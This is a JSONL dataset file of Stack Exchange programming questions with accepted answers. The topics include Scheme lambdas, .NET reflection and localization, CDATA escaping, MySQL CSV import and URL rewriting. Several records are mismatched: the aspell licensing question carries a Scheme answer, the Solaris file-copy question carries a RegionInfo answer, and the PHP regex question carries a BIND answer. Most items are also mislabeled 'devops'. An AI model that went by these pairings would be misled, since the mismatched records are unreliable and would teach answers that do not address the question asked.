{"id": "hf_fd93eb035352", "question": "<p>Question: </p>\n\n<pre><code>((lambda (x y) (x y)) (lambda (x) (* x x)) (* 3 3))\n</code></pre>\n\n<p>This was #1 on the midterm, I put \"81 9\" he thought I forgot to cross one out lawl, so I cross out 81, and he goes aww. Anyways, I dont understand why it's 81.</p>\n\n<p>I understand why <code>(lambda (x) (* x x)) (* 3 3) = 81</code>, but the first lambda I dont understand what the x and y values are there, and what the <code>[body] (x y)</code> does.</p>\n\n<p>So I was hoping someone could explain to me why the first part doesn't seem like it does anything.</p>\n", "question_body": "", "answer": "This needs some indentation to clarify\n```\n```\n((lambda (x y) (x y))\n (lambda (x) (* x x))\n (* 3 3))\n```\n```\n```\n(lambda (x y) (x y))\n```\n; call\n```\nx\n```\nwith\n```\ny\n```\nas only parameter.\n```\n(lambda (x) (* x x))\n```\n; evaluate to the square of its parameter.\n```\n(* 3 3)\n```\n; evaluate to 9\nSo the whole thing means: \"call the square function with the 9 as parameter\".\nEDIT: The same thing could be written as\n```\n```\n((lambda (x) (* x x))\n (* 3 3))\n```\n```\nI guess the intent of the exercise is to highlight how evaluating a scheme form involves an implicit function application.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:40.877585"}
{"id": "hf_f3334c0a622d", "question": "<p>Aspell-net is a port of the GNU Aspell for .Net Framework. The library itself is open source, and is under the LGPL license, but the english dictionary for aspell is mentioned as copyrighted on the sourceforge.net project home page at <a href=\"http://aspell-net.sourceforge.net/\" rel=\"nofollow noreferrer\">http://aspell-net.sourceforge.net/</a></p>\n\n<p>Did any of you guys use aspell-net before? and what license did you release your software under? The project I work on is a commercial one, and do you guys forsee any problem? Should I pay for the aspell english dictionary?</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "This needs some indentation to clarify\n```\n```\n((lambda (x y) (x y))\n (lambda (x) (* x x))\n (* 3 3))\n```\n```\n```\n(lambda (x y) (x y))\n```\n; call\n```\nx\n```\nwith\n```\ny\n```\nas only parameter.\n```\n(lambda (x) (* x x))\n```\n; evaluate to the square of its parameter.\n```\n(* 3 3)\n```\n; evaluate to 9\nSo the whole thing means: \"call the square function with the 9 as parameter\".\nEDIT: The same thing could be written as\n```\n```\n((lambda (x) (* x x))\n (* 3 3))\n```\n```\nI guess the intent of the exercise is to highlight how evaluating a scheme form involves an implicit function application.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:40.902946"}
{"id": "hf_bd430b8a651e", "question": "<p>Simple question that keeps bugging me.</p>\n\n<p>Should I HTML encode user input right away and store the encoded contents in the database, or should I store the raw values and HTML encode when displaying?</p>\n\n<p>Storing encoded data greatly reduces the risk of a developer forgetting to encode the data when it's being displayed. However, storing the encoded data will make datamining somewhat more cumbersome and it will take up a bit more space, even though that's usually a non-issue.</p>\n", "question_body": "", "answer": "i'd strongly suggest encoding information on the way out. storing raw data in the database is useful if you wish to change the way it's viewed at a certain point. the flow should be something similar to:\n```\n```\nsanitize user input -> protect against sql injection -> db -> encode for display\n```\n```\nthink about a situation where you might want to display the information as an RSS feed instead. having to redo any HTML specific encoding before you re-display seems a bit silly. any development should always follow the \"don't trust input\" meme, whether that input is from a user or from the database.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:40.940622"}
{"id": "hf_af1f9974c6c4", "question": "<p>Is there a way to Invoke an overloaded method using reflection in .NET (2.0).  I have an application that dynamically instantiates classes that have been derived from a common base class.  For compatibility purposes, this base class contains 2 methods of the same name, one with parameters, and one without.  I need to call the parameterless method via the Invoke method.  Right now, all I get is an error telling me that I'm trying to call an ambiguous method.</p>\n\n<p>Yes, I <em>could</em> just cast the object as an instance of my base class and call the method I need.  Eventually that <em>will</em> happen, but right now, internal complications will not allow it.</p>\n\n<p>Any help would be great!  Thanks.</p>\n", "question_body": "", "answer": "Yes. When you invoke the method pass the parameters that match the overload that you want.\nFor instance:\n```\n```\nType tp = myInstance.GetType();\n\n//call parameter-free overload\ntp.InvokeMember( \"methodName\", BindingFlags.InvokeMethod, \n   Type.DefaultBinder, myInstance, new object[0] );\n\n//call parameter-ed overload\ntp.InvokeMember( \"methodName\", BindingFlags.InvokeMethod, \n   Type.DefaultBinder, myInstance, new { param1, param2 } );\n```\n```\nIf you do this the other way round(i.e. by finding the MemberInfo and calling Invoke) be careful that you get the right one - the parameter-free overload could be the first found.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:40.976883"}
{"id": "hf_776f57fa14c3", "question": "<p>I'm writing a small application in VB.NET and I would like some of the classes to be able to write themselves out to XML to serve as a \"save\" feature.  I have seen XSD files used to generate VB classes that can serialize themselves into and out of XML very easily.  How would I do this if I do have any pre-existing XML format that I need to conform to as I'm just creating the classes myself?</p>\n", "question_body": "", "answer": "Since you asked about making it 'easy', then there are three rules to follow that will help keeps things very simple:\nOnly use property types that are serializable\nDon't use collections or arrays as properties that need to be serialized\nDon't have properties with \"bad\" side-effects.  By 'bad', I mostly mean two public properties that are backed by the same underlying private field.\nNote that if you break these rules you can probably still serialize your class, but it's likely to be a lot more work.\nFor item #2, a quick fix is using a datatable or dataset, since those are serializable.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:41.013157"}
{"id": "hf_aee9b07d859f", "question": "<p>I am looking for a solution or recommendation to a problem I am having.  I have a bunch of ASPX pages that will be localized and have a bunch of text that needs to be supported in 6 languages.</p>\n\n<p>The people doing the translation will not have access to Visual Studio and the likely easiest tool is Excel.  If we use Excel or even export to CSV, we need to be able to import to move to .resx files.  So, what is the best method for this?</p>\n\n<p>I am aware of this question, <a href=\"https://stackoverflow.com/questions/198772/convert-a-visual-studio-resource-file-to-a-text-file\">Convert a Visual Studio resource file to a text file?</a> already and the use of Resx Editor but an easier solution would be preferred.</p>\n", "question_body": "", "answer": "I'm not sure how comprehensive an answer you're looking for, but if you're really just using [string, string] pairs for your localization, and you're just looking for a quick way to load resource (.resx) files with the results of your translations, then the following will work as a fairly quick, low-tech solution.\nThe thing to remember is that .resx files are just XML documents, so it should be possible to manually load your data into the resource from an external piece of code.  The following example worked for me in VS2005 and VS2008:\n```\n```\nnamespace SampleResourceImport\n{\n    class Program\n    {\n        static void Main(string[] args)\n        {\n\n            XmlDocument doc = new XmlDocument();\n            string filePath = @\"[file path to your resx file]\";\n            doc.Load(filePath);\n            XmlElement root = doc.DocumentElement;\n\n            XmlElement datum = null;\n            XmlElement value = null;\n            XmlAttribute datumName = null;\n            XmlAttribute datumSpace = doc.CreateAttribute(\"xml:space\");\n            datumSpace.Value = \"preserve\";\n\n            // The following mocks the actual retrieval of your localized text\n            // from a CSV or ?? document...\n            // CSV parsers are common enough that it shouldn't be too difficult\n            // to find one if that's the direction you go.\n            Dictionary<string, string> d = new Dictionary<string, string>();\n            d.Add(\"Label1\", \"First Name\");\n            d.Add(\"Label2\", \"Last Name\");\n            d.Add(\"Label3\", \"Date of Birth\");\n\n            foreach (KeyValuePair<string, string> pair in d)\n            {\n                datum = doc.CreateElement(\"data\");\n                datumName = doc.CreateAttribute(\"name\");\n                datumName.Value = pair.Key;\n                value = doc.CreateElement(\"value\");\n                value.InnerText = pair.Value;\n\n                datum.Attributes.Append(datumName);\n                datum.Attributes.Append(datumSpace);\n                datum.AppendChild(value);\n                root.AppendChild(datum);\n            }\n\n            doc.Save(filePath);\n        }\n    }\n}\n```\n```\nObviously, the preceding method won't generate the code-behind for your resource, however opening the resource file in Visual Studio and toggling the accessibility modifier for the resource will (re)generate the static properties for you.\nIf you're looking for a completely XML-based solution (vs. CSV or Excel interop), you could also instruct your translators to store their translated content in Excel, saved as XML, then use XPath to retrieve your localization info.  The only caveat being the file sizes tend to become pretty bloated.\nBest of luck.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:41.036877"}
{"id": "hf_9de9617e205e", "question": "<p>Is there a way to manually increase / decrease the timeout of a specific aspx page?</p>\n", "question_body": "", "answer": "In the web.config:\n```\n```\n<configuration>\n      <location path=\"~/Default.aspx\">\n        <system.web>\n          <httpRuntime executionTimeout=\"1000\"/>      \n        </system.web>    \n      </location>\n   </configuration>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:41.061050"}
{"id": "hf_33fa7ae631b5", "question": "<p>We have a product but we are doing some rebranding so we need to be able to build and maintain two versions.  I used resource files combined with some #if stuff to solve the strings, images, and whatever else, but the program icon is giving me trouble.  I couldn't figure it out from msdn or a google search.  Thanks!</p>\n", "question_body": "", "answer": "Set the icon in normal code, and you should be able to use the same techniques as you have elsewhere. You'll need both icons in the resources file (at least so I suspect) but it should work.\nAlternatively, set a prebuild step to copy the appropriate icon into a common filename - e.g. copying debug.ico or release.ico into app.ico. A bit hacky, but I think it would work. That way you only end up with one icon in the finished binaries.\nYet another option: look into the build file and see how the icon is built in, then conditionalise it. Marc Gravell did this for references in\nMiscUtil\n- the project can be built targeting either .NET 2.0 or 3.5, depending on configuration. I suspect that resources could be conditionalised in a very similar way.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:41.133688"}
{"id": "hf_9608420e72f5", "question": "<p>Say I need some very special multiplication operator. It may be implemented in following macro:</p>\n\n<pre><code>macro @&lt;&lt;!(op1, op2)\n{\n    &lt;[ ( $op1 * $op2 ) ]&gt;\n}\n</code></pre>\n\n<p>And I can use it like</p>\n\n<pre><code>def val = 2 &lt;&lt;! 3\n</code></pre>\n\n<p>And its work.</p>\n\n<p>But what I really want is some 'english'-like operator for the DSL Im developing now:</p>\n\n<pre><code>macro @multiply(op1, op2)\n{\n    &lt;[ ( $op1 * $op2 ) ]&gt;\n}\n</code></pre>\n\n<p>and if I try to use it like</p>\n\n<pre><code>def val = 2 multiply 3\n</code></pre>\n\n<p>compiler fails with 'expected ;' error</p>\n\n<p>What is the problem? How can I implement this infix-format macro?</p>\n", "question_body": "", "answer": "Straight from the compiler source code:\n```\n```\nnamespace Nemerle.English\n{\n  [assembly: Nemerle.Internal.OperatorAttribute (\"Nemerle.English\", \"and\", false, 160, 161)]\n  [assembly: Nemerle.Internal.OperatorAttribute (\"Nemerle.English\", \"or\", false, 150, 151)]\n  [assembly: Nemerle.Internal.OperatorAttribute (\"Nemerle.English\", \"not\", true, 181, 180)]  \n\n  macro @and (e1, e2) {\n    <[ $e1 && $e2 ]>\n  }\n\n  macro @or (e1, e2) {\n    <[ $e1 || $e2 ]>\n  }\n\n  macro @not (e) {\n    <[ ! $e ]>\n  }\n```\n```\nYou need to sprinkle OperatorAttributes around and it will work. Btw, OperatorAttribute is defined as follows:\n```\n```\npublic class OperatorAttribute : NemerleAttribute\n{\n  public mutable env : string;\n  public mutable name : string;\n  public mutable IsUnary : bool;\n  public mutable left : int;\n  public mutable right : int;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:41.164711"}
{"id": "hf_2ea75cefb5de", "question": "<p>I want to know how to use variables for objects and function names in Python. In PHP, you can do this:</p>\n\n<pre><code>$className = \"MyClass\";\n\n$newObject = new $className();\n</code></pre>\n\n<p>How do you do this sort of thing in Python? Or, am I totally not appreciating some fundamental difference with Python, and if so, what is it?</p>\n", "question_body": "", "answer": "In Python,\n```\n```\nclassName = MyClass\nnewObject = className()\n```\n```\nThe first line makes the variable\n```\nclassName\n```\nrefer to the same thing as\n```\nMyClass\n```\n. Then the next line calls the\n```\nMyClass\n```\nconstructor through the\n```\nclassName\n```\nvariable.\nAs a concrete example:\n```\n```\n>>> className = list\n>>> newObject = className()\n>>> newObject\n[]\n```\n```\n(In Python,\n```\nlist\n```\nis the constructor for the\n```\nlist\n```\nclass.)\nThe difference is that in PHP, you represent the name of the class you want to refer to as a string, while in Python you can reference the same class directly. If you\nmust\nuse a string (for example if the name of the class is created dynamically), then you will need to use other techniques.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:41.189745"}
{"id": "hf_46e8fcd8c90a", "question": "<p>When I try to create a new RegionInfo with certain ISO 3166 country codes (\"BD\" for Bangladesh, \"SO\" for Somalia, \"LK\" for Sri Lanka), I get an ArgumentException that says it's not recognized.</p>\n\n<p>What's the deal? The Intellisense of RegionInfo(string) says it conforms to ISO 3166, but these country/region codes are not supported? </p>\n\n<p>I don't get it.</p>\n", "question_body": "", "answer": ".NET doesn't provide all Cultures/Regions out-of-the-box. Note the 'predefined' RegionInfos here:\nhttp://msdn.microsoft.com/en-us/library/system.globalization.regioninfo(VS.80).aspx\n.\nUnfortunately, if you want to use non-predefined Regions, you have to define them yourself. Here's the MSDN how-to:\nhttp://msdn.microsoft.com/en-us/library/ms172469(VS.80).aspx\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:41.214946"}
{"id": "hf_e1085cd8009f", "question": "<p>How to copy file(s) from one solaris 9 machine to another solaris 9 machine using only java?</p>\n\n<p>We have ssh access to both machines. The java program will run on one of those two machines.</p>\n\n<p>Update: rsync is not really an option. can't install it easily (UNIX team is, hum, hard to deal with)</p>\n", "question_body": "", "answer": ".NET doesn't provide all Cultures/Regions out-of-the-box. Note the 'predefined' RegionInfos here:\nhttp://msdn.microsoft.com/en-us/library/system.globalization.regioninfo(VS.80).aspx\n.\nUnfortunately, if you want to use non-predefined Regions, you have to define them yourself. Here's the MSDN how-to:\nhttp://msdn.microsoft.com/en-us/library/ms172469(VS.80).aspx\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:41.251273"}
{"id": "hf_ce5b7fa03a99", "question": "<p>I was wondering if there is any way to escape a CDATA end token (<code>]]&gt;</code>) within a CDATA section in an xml document. Or, more generally, if there is some escape sequence for using within a CDATA (but if it exists, I guess it'd probably only make sense to escape begin or end tokens, anyway). </p>\n\n<p>Basically, can you have a begin or end token embedded in a CDATA and tell the parser not to interpret it but to treat it as just another character sequence.</p>\n\n<p>Probably, you should just refactor your xml structure or your code if you find yourself trying to do that, but even though I've been working with xml on a daily basis for the last 3 years or so and I have never had this problem, I was wondering if it was possible. Just out of curiosity.</p>\n\n<p>Edit:</p>\n\n<p>Other than using html encoding...</p>\n", "question_body": "", "answer": "You have to break your data into pieces to conceal the\n```\n]]>\n```\n.\nHere's the whole thing:\n```\n<![CDATA[]]]]><![CDATA[>]]>\n```\nThe first\n```\n<![CDATA[]]]]>\n```\nhas the\n```\n]]\n```\n.  The second\n```\n<![CDATA[>]]>\n```\nhas the\n```\n>\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:41.397435"}
{"id": "hf_9d6c86170403", "question": "<p>I have a regexp I'm using with sed, but now I need to make it work in PHP also. I can't use system calls as they are disabled.</p>\n\n<pre>\n$ cat uglynumber.txt:\nTicket number : 303905694, FOO:BAR:BAR: Some text\nCase ID:123,456,789:Foobar - Some other text\n303867970;[FOOBAR] Some text goes here\nCase Ref: 303658850 - Some random text here - host.tld #78854w\n</pre>\n\n<pre>\n$ cat uglynumbers.txt | sed \"s/[, ]//g;s/.*\\([0-9]\\{9\\}\\).*/\\1/g\"\n303905694\n123456789\n303867970\n303658850\n</pre>\n\n<p>So, how to do the same with PHP?</p>\n\n<p>I found one example like this, but I can't inject that regexp into that.</p>\n\n<pre>\nif (preg_match(\"/.../\", $line, $matches)) {\n  echo \"Match was found\";\n  echo $matches[0];\n}\n</pre>\n", "question_body": "", "answer": "Assuming that you've checked all of the obvious things - such as ensuring that the main bind configuration file is what you think it is. Firstly check that the that you think named is using are the right ones - sometimes it's easy to edit a file that's in the wrong directory and wonder why changes aren't noticed.\nAlso have you used named-checkconf and named-checkzone\nIt is hard enough to debug bind, but without seeing the config files it is almost impossible, so please add them  to the original post.\n(I've added this as a comment to the question - I've posted as an answer because the OP is new here).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:41.448357"}
{"id": "hf_387ec1ec02d8", "question": "<p>I have a DataSet consisting of XML data, I can easily output this to a file:</p>\n\n<pre><code>DataSet ds = new DataSet();\nDataTable dt = new DataTable();\nds.Tables.Add(dt);\nds.Load(reader, LoadOption.PreserveChanges, ds.Tables[0]);\nds.WriteXml(\"C:\\\\test.xml\");\n</code></pre>\n\n<p>However what I want to do is compress the XML into a ZIP or other type of compressed file and then just save this file to disk while splitting the ZIP file into 1MB chunks. I do not really want to save the uncompressed file, and then zip it, then split it.</p>\n\n<p><strong>What I'm looking for specifically is:</strong></p>\n\n<ol>\n<li>a suitable compression library that I can stream the XML to and have the zip file(s) saved to disk</li>\n<li>some sample C# code that can show me how to do this.</li>\n</ol>\n", "question_body": "", "answer": "I've managed to compress a DataSet's XML stream using .NET 2.0's gzip compression.\nHere's the blog post I made a few years ago about it:\nSaving DataSets Locally With Compression\n... and here's the code I added to my DataSet's partial class to write the compressed file (the blog post has the reading code too):\n```\n```\npublic void WriteFile(string fileName)\n{\n    using (FileStream fs = new FileStream(fileName, FileMode.Create))\n    {\n        Stream s;\n        if (Path.GetExtension(fileName) == \".cmx\")\n        {\n            s = new GZipStream(fs, CompressionMode.Compress);\n        }\n        else if (Path.GetExtension(fileName) == \".cmz\")\n        {\n            s = new DeflateStream(fs, CompressionMode.Compress);\n        }\n        else\n        {\n            s = fs;\n        }\n        WriteXml(s);\n        s.Close();\n    }\n}\n```\n```\nNote that this code uses different compression schemes based on the file's extension. That was purely so I could test one scheme against the other with my DataSet.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:41.536351"}
{"id": "hf_ed4b660789a0", "question": "<p>I'm pretty sure stackoverflow.com is created with ASP.NET, but no matter where I click I see no .aspx extension in the address bar.\nHow it is done and is there a particular reason for this?</p>\n", "question_body": "", "answer": "You can do this and more with ISAPI rewrite (for IIS).  It allows you to create friendly urls without all the ugly query strings.  It gives users a friendlier interface and can make your content more searchable.\nIf you are using Apache, use mod_rewrite.\nThe basic premise of both is that they take a friendly url (like the one you see for this site), then they transform it using a series of rules (typically regexs that you specify) to internal urls or query strings that are easily understood by the code.\nAn example would be that they convert\n```\nposts/edit/<postnumber>\n```\nto\n```\neditPost.aspx?postNumber=<postnumber>\n```\nby using a transform rule.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:41.573249"}
{"id": "hf_3924664d8b76", "question": "<p>In a previous question, I asked about various ORM libraries. It turns out Kohana looks very clean yet functional for the purposes of ORM. I already have an MVC framework that I am working in though. If I don't want to run it as a framework, what is the right fileset to include to just give me the DB and ORM base class files?</p>\n\n<p>Update:</p>\n\n<p>I jumped in and started looking at the ORM source code.. One thing was immediately confusing to me.. all the ORM classes have the class name appended with _CORE i.e. ORM_Core ORM_Iterator_Core, but the code everywhere is extending the ORM class. Problem is, I've searched the whole code base 6 different ways, and I've never seen a plain ORM class def nor an ORM interface def or anything.. Could someone enlighten me on where that magic happens?</p>\n", "question_body": "", "answer": "It turns out that Kohana uses magic class loading so that if a defined class with an _Core extention doesn't exist as a class\ni.e. ORM_Core exists, but ORM doesn't, so Kohana will magically define an ORM class\nSince the package uses 100% magic class loading.\nIn case anyone is interested, I'm documenting my finds here so everyone can find it later:\n```\n```\nFrom Kohana.php in the system directory:\n\n<-- snip if ($extension = self::find_file($type, self::$configuration['core']['extension_prefix'].$class))\n{\n// Load the extension\nrequire $extension;\n}\nelseif ($suffix !== 'Core' AND class_exists($class.'_Core', FALSE))\n{\n// Class extension to be evaluated\n$extension = 'class '.$class.' extends '.$class.'_Core { }';\n-->\n\n<-- snip\n\n// Transparent class extensions are handled using eval. This is\n// a disgusting hack, but it gets the job done.\neval($extension);\n\n-->\n```\n```\nSo it does an eval..", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:41.637309"}
{"id": "hf_2c44c70369a4", "question": "<p>I am new to MySQL and PHP(as you can probably tell) and I was wondering if anybody knew an easy way to import a CSV file into a MySQL table.</p>\n\n<blockquote>\n  <p>\"There are any number of ways to input\n  csv into mysql depending in what kind\n  of access you have, if you can use the\n  mysql client directly there is a\n  command to load delimited data,\n  something like that could basically be\n  entered directly in cron and keep\n  itself up to date. Otherwise there are\n  various php scripts to do that sort of\n  thing.\"</p>\n</blockquote>\n\n<p>That is something a friend told me to do, is that the easiest/best way to do it? If it is would someone mind explaining it to me?</p>\n\n<p>Thank you </p>\n", "question_body": "", "answer": "Use the \"load data infile\"  command. By deafulat it will treat incoming files as csv, although you can define a custom file type to import. Documentation for load data infile is here:\nhttp://dev.mysql.com/doc/refman/5.0/en/load-data.html\nFTA, in its simplest form the command looks just like this:\n```\n```\nLOAD DATA INFILE 'data.txt' INTO TABLE db2.my_table;\n```\n```\nThat assumes the columns in the data file and in your text file line up. \nThe rest of the documentation explains how to get non-lined up fields imported, and also how to deal with windows vs unix style line terminations.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:41.686946"}
{"id": "hf_10620bd7a764", "question": "<p>What is the most efficient way in C# 2.0 to check each character in a string and return true if they are all valid hexadecimal characters and false otherwise?</p>\n<h3>Example</h3>\n<pre><code>void Test()\n{\n    OnlyHexInString(&quot;123ABC&quot;); // Returns true\n    OnlyHexInString(&quot;123def&quot;); // Returns true\n    OnlyHexInString(&quot;123g&quot;); // Returns false\n}\n\nbool OnlyHexInString(string text)\n{\n    // Most efficient algorithm to check each digit in C# 2.0 goes here\n}\n</code></pre>\n", "question_body": "", "answer": "I use\n```\nInt32.TryParse()\n```\nto do this.\nHere's the MSDN page on it\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:41.777879"}
{"id": "hf_64f62ede9945", "question": "<p>This is what I have, which works in IE7, but not in Firefox:</p>\n\n<pre><code>@media screen { @import 'screen.css'; }\n</code></pre>\n\n<p>It works outside of the @media block in Firefox:</p>\n\n<pre><code>@import 'screen.css';\n</code></pre>\n\n<p><strong>UPDATE:</strong>  </p>\n\n<p>This works:</p>\n\n<pre><code>@media screen { \n\n    .yui-d3f\n    {\n        border: 1px solid #999;\n        height: 250px;\n    }\n\n}\n</code></pre>\n\n<p>What am I missing?</p>\n", "question_body": "", "answer": "Ok, so Firefox doesn't like the method I chose, favouring:\n```\n```\n@import 'stylesheet.css' media_type;\n```\n```\nBut IE7 doesn't understand this method, but this could be good:\n```\n```\n@import 'firefox-screen.css' screen;\n@media screen { @import 'IE7-screen.css'; }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:41.802829"}
{"id": "hf_710f144a1333", "question": "<p>I've figured out how to set VC++ to compile code into a .lib file instead of a .exe, but I'm having trouble getting a lib to link together with my other .obj files.</p>\n\n<p>Here is how I have the library and application folders set up.  (I'm not sure if this is right)</p>\n\n<pre><code>AppFolder\n  App.sln\n  App.ncb\n  *.h\n  *.cpp\n  Debug\n    *.obj\n    App.exe\n</code></pre>\n\n<p>and somewhere else on the hard drive...</p>\n\n<pre><code>LibraryFolder\n  lib\n    Library.lib\n  include\n    LibrarySolutionFolder\n      Library.sln\n      Library.ncb\n      *.h\n      *.cpp\n      Debug\n        *.obj\n        Library.lib\n</code></pre>\n\n<p>I've been #including the library *.h files from my app's cpp files, and everything compiles fine.  It's just when it links I get a list of all the .lib\nfiles that are being searched, and Library.lib isn't on there even though I have it listed in VC++ directories.\nHow can I get this to link?  (And am I structuring the library folders correctly?)</p>\n", "question_body": "", "answer": "On the project properties:\nConfiguration Properties -> Linker -> Input -> Additional Dependancies\nAdd it in there.\nOr, in your .h file for the library, add:\n```\n```\n#pragma comment(lib, \"Library\")\n```\n```\nThis will do it automatically for you.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:41.909750"}
{"id": "hf_9e02e57b195d", "question": "<p>I researched this a while ago and can't remember how to do it. I want to be able to prevent Firefox from running it's spell-checking functionality on certain input fields from within the page. I know it's possible but can't remember how to set it up.</p>\n", "question_body": "", "answer": "Talk about having a big \"duh\" moment! I found the answer after some trial & error:\n```\n```\n<textarea spellcheck=\"false\"></textarea>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:41.970458"}
{"id": "hf_6295635d56c7", "question": "<p>Note: I am just consuming webservice I have no control over webservice code.</p>\n\n<p>So in .net 2.0 I reference the webservice and see a class in the webservice namespace, say foobar. It's defined as:</p>\n\n<pre><code>public class foobar : System.Web.Services.Protocols.SoapHttpClientProtocol\n</code></pre>\n\n<p>but in .net 3.5 when i add a reference to the same webservice I no longer have this foobar class available. I do see foobarSoap which is an interface which exposes all of the methods in the foobar class above. It's defined as:</p>\n\n<pre><code>public interface foobarSoap\n</code></pre>\n\n<p>However it doesn't expose the properties (for obvious reasons).</p>\n\n<p>I need to access these properties. How do I do it?</p>\n", "question_body": "", "answer": "You can try using the\nWeb Service Description Language Tool\n(\n```\nWsdl.exe\n```\n) to generate an actual class file:\n```\nwsdl.exe /language:cs http://www.example.com/FooService.wsdl\n```\nYou can get more information about the\nWSDL Tool\non it's\nMSDN Page\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:42.021205"}
